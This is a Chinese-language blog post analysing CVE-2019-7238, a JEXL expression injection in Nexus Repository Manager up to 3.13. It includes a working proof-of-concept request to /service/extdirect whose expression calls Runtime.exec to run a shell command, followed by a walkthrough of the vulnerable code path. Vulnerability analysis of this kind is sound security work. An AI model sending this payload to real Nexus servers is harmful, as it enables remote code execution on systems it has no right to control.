美文网首页
CVE-2019-7238分析,Nexus Repository

CVE-2019-7238分析,Nexus Repository

作者: Billie_f310 | 来源:发表于2022-04-03 15:07 被阅读0次

    介绍:Nexus Repository Manager是一个maven管理功能系统

    影响版本:Nexus Repository Manager up to 3.13

    漏洞类型:JEXL,可执行代码

    所有漏洞来源于JexlExpression.evaluate方法,此方法可以执行任意jexl表达式,导致远程代码执行

    POc:/service/extdirect

    DATA:

    {"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":

    [{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}

    如下图所示我们所有的请求进入了 previewAssets,并且我们的表达式成功的进入方法

    2跳入previewAsset方法如下图所示,经过一系列处理又进入了storageTx.countAssets方法,不难看出他是为了组合成一条sql语句 3 我们直接进入查询方法,生成的query语句如图所示,select count(*) from asset where (bucket=#16:0 or bucket=#15:1 or bucket=#15:3 or bucket=#15:2 or bucket=#16:2 or bucket=#15:0 or bucket=#16:1) and (contentExpression(@this, :jexlExpression, :repositorySelector, :repoToContainedGroupMap) == true)进入了他的,相当于一个模板执行语句,如图所示我们的jexlExpression已经传入 4我们可以看出 contentExpression是一个模板执行类,具体我不知道怎么实现,但是肯定返回的是true和false,作为这条sql语句的条件,所以们进去看看,我们不难发现最后一句是执行的true和false.从名字上看是判断是否有权限和jexl表达式是否执行成功 5漏洞产生的位置就是electorManager.evaluate,这个方法其实是JexlExpression。evaluate,也就是执行了我们的jexl我们可以看到,这里没有任何过滤等操作。里面的方法也只是判断力jexl合法性,并没有过滤危险参数,导致执行,

    相关文章

      网友评论

          本文标题:CVE-2019-7238分析,Nexus Repository

          本文链接:https://www.haomeiwen.com/subject/orufsrtx.html